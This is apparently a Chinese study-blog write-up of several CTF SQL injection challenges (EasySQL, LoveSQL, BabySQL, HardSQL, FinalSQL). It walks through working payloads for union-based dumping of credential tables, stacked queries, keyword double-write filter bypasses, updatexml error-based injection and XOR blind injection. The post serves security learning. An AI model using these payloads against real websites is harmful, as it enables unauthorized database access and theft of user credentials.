网安学习Day4-SQL注入(二)ctf

ps:刷一些ctf对新学习的sql注入进行巩固,参考了很多大佬的wp~

[极客大挑战 2019]EasySQL

尝试弱口令:admin

回显用户和密码错误

尝试注入1、0、1‘、0’

注入1'有回显,说明'符号闭合

可以开始进行sql注入

联合注入:1' union select 1#

回显提示:使用的select语句的列数不同

继续尝试直到:1' union select 1,2,3#

直接得到flag

[SUCTF 2019]EasySQL

输入1有回显,输入1'没有回显,

再判断是否是数字型注入:1 or 1=1

有回显:nonono

那么‘or‘是被过滤了

尝试输入很多关键字,会直接回显nonono,也可由此判断这些关键字都被过滤了

由于很多关键字都被过滤了,可以尝试使用堆叠注入

堆叠注入:mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔开,而堆叠注入其实就是通过结束符来执行多条sql语句

堆叠注入触发条件:

  1. 目标存在sql注入漏洞
  2. 目标未对";"号进行过滤
  3. 目标中间层查询数据库信息时可同时执行多条sql语句

语法:

1;show databases;       //查看所有数据库

1;show tables;             //查看所有数据表

注入:1;show databases;

注入:1;show tables;

发现了flag表

注入:1;show columns from flag;

回显失败,from被过滤

具体解法详见:

[SUCTF 2019]EasySQL1 题目分析与详解_[suctf 2019]easysql 1-CSDN博客

使用 sql_mode 中的 PIPES_AS_CONCAT 函数

注入:1;sql_mode=PIPES_AS_CONCAT;select 1

[极客大挑战 2019]LoveSQL

注入1、1’

1’有数据库报错,可能存在sql注入

使用联合注入:1' union select 1#

回显说明,使用的SELECT语句具有不同数量的列‌。

继续联合注入直到:1' union select 1,2,3#

说明该SQL语句中一共有3列显位,且第1列显位没有回显

接着1' union select 1,version(),database()#

爆出数据库版本号、数据库名为’geek

注入:1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆出这个库的数据表

得到geekuser,l0ve1ysq1这两个表名

访问第一个表看看列名有什么

注入:

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#

看到有id、username、password三个列

再对当前数据库的l0ve1ysq1表中的username和password这两列进行查询

1' union select 1,2,group_concat(username,password) from geekuser #

得到flag

[极客大挑战 2019]BabySQL

尝试弱口令admin、'

都提示密码错误

输入1',有提示说明后台对 ' 符号闭合

输入用户名admin,对密码输入处注入:1' order by 1#

order只显示了der,说明or被过滤了,吞了by 双写注入:' || 1=1 oorrder bbyy 1#

直接得到了flag

另一种注入方式:1' union select 1#

大概把union、select过滤了

双写绕过:1' ununionion seselectlect 1#

回显说明可以继续注入:

1' ununionion seselectlect 1,2#

1' ununionion seselectlect 1,2,3#

可以开始爆出数据库的信息了

1' ununionion seselectlect 1,2,database()#

看表名:1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#

(这里对很多关键字ununionion ,seselectlect,frfromom,infoorrmation,passwoorrd,whwhereere这些都做了双写绕过,以防万一)

查询第一个表:1' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

看看最后两列有什么信息:

1' ununionion seselectlect 1,2,group_concat(username ,id , passwoorrd) frfromom b4bsql#

[极客大挑战 2019]HardSQL

本题和上一题差不多对 1' 闭合

联合注入:1' union select 1#

可能存在过滤

试了一下双写、大小写绕过还是不行

一个字符一个字符测试,发现如 and/空格/union/select/=//**/等都被过滤了。

空格用()绕过,=用like绕过

试一下报错注入: 1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

爆表:

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

列名:1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

查看字段:1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#

[极客大挑战 2019]FinalSQL

 

依次点了神秘代码

点第5个,提示看第6个,实际上只有5个代码

但是url参数那里显示id=5

试着在url那里修改id=6

尝试了在输入框注入很多次都无果,那么很有可能注入点在id这个地方(事后诸葛亮哈哈哈)

url修改参数:id=6'

果然有回显

显然是盲注:id=6' or 1=1# 

来试一下,发现过滤了空格,=,or,and,union,select这些都过滤得差不多了

基本的一些关键字被过滤,又是盲注,可以考虑异或注入了

异或注入:是盲注的一种类型,因为异或逻辑通常返回的是1和0,所以一般用于盲注中。应用场景是过滤了union  select  and  or  orderby等一些关键字。还能绕过空格过滤。

1.符号:xor、^

2.运算类型:

2.1 数字型(相同为0,相异为1)

        1^1=0   0^0=0   1^0=1

2.2 字符型

        字符中如果没有数字或者数字在字母后面在比较时都会转为数字0

        'adc'=0    'adc12'=0

        数字在字母前面时会是在字母前面的一堆数字

        '1abc'=1   '12abc'=12

2.3 数字与字符型:

        将字符转为数字进行异或

        'abc1'^1=0^1=1        'abc'^1=0^1=1          '1adc'^1=1^1=0

---------------------------------------------------------------------------------------------------------------------------------

id=0是error,id=1是Click others

那么就要构造异或语句的结果是1,即证明判断的注入语句为真

首先先判断数据库长度id=0^(length(database())=1)--------1

因为过滤了=,修改为id=0^(length(database())>0)

依次测试数据库长度

直到id=0^(length(database())>3)结果为1

id=0^(length(database())>4)结果为0,那么数据库的长度为4

像普通的盲注,可以用函数一个一个验证数据库名

但是比较麻烦,用脚本会快一些,于是参考了csdn大佬的文章:[极客大挑战 2019]FinalSQL-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值